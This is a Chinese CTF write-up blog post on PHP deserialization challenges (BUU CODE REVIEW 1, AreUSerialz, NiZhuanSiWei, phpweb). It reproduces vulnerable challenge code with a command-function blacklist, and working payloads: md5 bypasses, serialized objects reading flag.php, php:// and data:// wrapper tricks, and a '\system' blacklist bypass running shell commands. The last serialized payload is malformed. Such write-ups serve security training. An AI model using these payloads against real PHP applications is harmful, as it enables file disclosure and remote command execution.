• CTF-反序列化


    目录

    1、BUU CODE REVIEW 1

    2、[网鼎杯 2020 青龙组]AreUSerialz

    3、[ZJCTF 2019]NiZhuanSiWei

    4、[网鼎杯 2020 朱雀组]phpweb


    1、BUU CODE REVIEW 1

    1. highlight_file(__FILE__);
    2. class BUU {
    3. public $correct = "";
    4. public $input = "";
    5. public function __destruct() {
    6. try {
    7. $this->correct = base64_encode(uniqid());
    8. if($this->correct === $this->input) {
    9. echo file_get_contents("/flag");
    10. }
    11. } catch (Exception $e) {
    12. }
    13. }
    14. }
    15. if($_GET['pleaseget'] === '1') {
    16. if($_POST['pleasepost'] === '2') {
    17. if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
    18. unserialize($_POST['obj']);
    19. }
    20. }
    21. }

    md5值绕过可以用数组:md51[]=1&md52[]=2,也可以用md51=QNKCDZO&md52=s878926199a

    绕过 __destruct()里面两个值相等,把一个值的地址赋值给另一个,不管后面怎么变,他们就会一直相等:

    1. $a=new BUU();
    2. $a->correct=&$a->input;
    3. echo serialize($a);

    2、[网鼎杯 2020 青龙组]AreUSerialz

    1. include("flag.php");
    2. highlight_file(__FILE__);
    3. class FileHandler {
    4. protected $op;
    5. protected $filename;
    6. protected $content;
    7. function __construct() {
    8. $op = "1";
    9. $filename = "/tmp/tmpfile";
    10. $content = "Hello World!";
    11. $this->process();
    12. }
    13. public function process() {
    14. if($this->op == "1") {
    15. $this->write();
    16. } else if($this->op == "2") {
    17. $res = $this->read();
    18. $this->output($res);
    19. } else {
    20. $this->output("Bad Hacker!");
    21. }
    22. }
    23. //把content写入filemane文件里面
    24. private function write() {
    25. if(isset($this->filename) && isset($this->content)) {
    26. if(strlen((string)$this->content) > 100) {
    27. $this->output("Too long!");
    28. die();
    29. }
    30. $res = file_put_contents($this->filename, $this->content);
    31. if($res) $this->output("Successful!");
    32. else $this->output("Failed!");
    33. } else {
    34. $this->output("Failed!");
    35. }
    36. }
    37. //把filename里面的内容强回显
    38. private function read() {
    39. $res = "";
    40. if(isset($this->filename)) {
    41. $res = file_get_contents($this->filename);
    42. }
    43. return $res;
    44. }
    45. private function output($s) {
    46. echo "[Result]:
      "
      ;
    47. echo $s;
    48. }
    49. function __destruct() {
    50. if($this->op === "2")
    51. $this->op = "1";
    52. $this->content = "";
    53. $this->process();
    54. }
    55. }
    56. //判断输入的是不是可打印字符
    57. function is_valid($s) {
    58. for($i = 0; $i < strlen($s); $i++)
    59. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    60. return false;
    61. return true;
    62. }
    63. if(isset($_GET{'str'})) {
    64. $str = (string)$_GET['str'];
    65. if(is_valid($str)) {
    66. $obj = unserialize($str);
    67. }
    68. }

     __destruct()会自动执行,判断如果op==="2",把op="1"。我们要执行read()就要让op=2,2!==“2”,2==“2”。然后再把filename的值换为flag.php就行了。

    1. class FileHandler {
    2. public $op = 2;
    3. public $filename = "flag.php";
    4. public $content;
    5. }
    6. $a = new FileHandler();
    7. $b = serialize($a);
    8. echo($b);
    str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

    3、[ZJCTF 2019]NiZhuanSiWei

    1. $text = $_GET["text"];
    2. $file = $_GET["file"];
    3. $password = $_GET["password"];
    4. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    5. echo "

      ".file_get_contents($text,'r')."


      "
      ;
    6. if(preg_match("/flag/",$file)){
    7. echo "Not now!";
    8. exit();
    9. }else{
    10. include($file); //useless.php
    11. $password = unserialize($password);
    12. echo $password;
    13. }
    14. }
    15. else{
    16. highlight_file(__FILE__);
    17. }
    18. ?>

    用data伪协议绕过文件读取:file_get_contents($text,'r')==="welcome to the zjctf")

    text=data://text/plain,welcome to the zjctf

    然后用php://filter伪协议 让useless.php的内容显示出来:

    file=php://filter/read=convert.base64-encode/resource=useless.php 

     源码如下:

    1. class Flag{ //flag.php
    2. public $file;
    3. public function __tostring(){
    4. if(isset($this->file)){
    5. echo file_get_contents($this->file);
    6. echo "
      "
      ;
    7. return ("U R SO CLOSE !///COME ON PLZ");
    8. }
    9. }
    10. }
    11. ?>

    __toString  当一个对象被当作一个字符串被调用,构造file="flag.php"就行了:

    text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    源码中有这样代码:

    1. $password = unserialize($password);
    2. echo $password;

     password经过反序列化后是一个对象,用echo打印出来就是把它当做字符串,所以执行__toString()。

    4、[网鼎杯 2020 朱雀组]phpweb

    提交了两个值,一个是func 值是date  另一个是p 值是 Y-m-d h:i:s

    提交:func=file_get_contents&p=index.php查看源码:

    1. $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    2. function gettime($func, $p) {
    3. $result = call_user_func($func, $p);//调调用传递函数,并返回函数运行的结果(本例中即为执行$func($p))
    4. $a= gettype($result);
    5. if ($a == "string") {
    6. return $result;
    7. } else {return "";}
    8. }
    9. class Test {
    10. var $p = "Y-m-d h:i:s a";
    11. var $func = "date";
    12. function __destruct() {
    13. if ($this->func != "") {
    14. echo gettime($this->func, $this->p);
    15. }
    16. }
    17. }
    18. $func = $_REQUEST["func"];
    19. $p = $_REQUEST["p"];
    20. if ($func != null) {//非空
    21. $func = strtolower($func);//转小写
    22. if (!in_array($func,$disable_fun)) {//判断是否存在黑名单
    23. echo gettime($func, $p);//如果不存在则调用gettime,把funchep传入
    24. }else {
    25. die("Hacker...");//报错
    26. }
    27. }
    28. ?>

    1.黑名单绕过

    黑名单绕过:func=\system&p=ls

    查找flag :func=\system&p=find / -name flag*

    打印flag:func=\system&p=cat /tmp/flagoefiu4r93

     2、反序列化

    1. class Test {
    2. var $p = "Y-m-d h:i:s a";
    3. var $func = "date";
    4. function __destruct() {
    5. if ($this->func != "") {
    6. echo gettime($this->func, $this->p);
    7. }
    8. }
    9. }

    构造

    1. class Test {
    2. var $p = "ls";
    3. var $func = "system";
    4. function __destruct() {
    5. if ($this->func != "") {
    6. echo 1;
    7. }
    8. }
    9. }
    10. $a=new Test();
    11. $b=serialize($a);
    12. echo $b;

    func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

    成功执行:

    然后改变func和p继续查找flag就行了: 

    func=unserialize&p=O:4:"Test":2{s:1:"p";s:22:"cat/tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

    5、[安洵杯 2019]easy_serialize_php 

    phpinfo()里面发现flag文件d0g3_f1ag.php“”

     暂时看不懂

  • 相关阅读:
    容器多机部署eureka及相关集群服务出现 Request execution failed with message: AuthScheme is null
    nacos微服务云开发,远程联调部署,内网穿透,frp部署
    分类预测 | Matlab实现基于MIC-BP-Adaboost最大互信息系数数据特征选择算法结合Adaboost-BP神经网络的数据分类预测
    随笔记:重新认识 else if
    公式编辑器Axmath+公式识别器SimpleTex+Markdown编辑器Typora
    Kotlin中的数组
    MySQL性能优化的5个维度
    Day42:网易云项目,路由进阶
    [附源码]Python计算机毕业设计Django的桌游信息管理系统
    代码随想录阅读笔记-哈希表【两个数组的交集】
  • 原文地址:https://blog.csdn.net/qq_61774705/article/details/126330449